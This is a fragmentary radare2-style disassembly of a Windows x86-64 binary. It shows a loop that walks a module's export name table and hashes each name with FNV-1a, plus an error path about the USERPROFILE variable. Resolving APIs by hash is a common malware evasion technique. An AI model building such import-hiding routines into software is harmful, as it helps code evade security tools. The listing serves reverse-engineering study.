cmp rdi, r10
je 0x1400640c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400640c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400640c1
mov rax, qword [rax]
jmp 0x140064050
lea rdx, str.Error:_Unable_to_retrieve_USERPROFILE_environment_variable_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140072810
mov rcx, qword [rbp + 0x4090]
xor rcx, rsp
call fcn.1400da5d0
lea r11, [rsp + 0x41f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop rbp
ret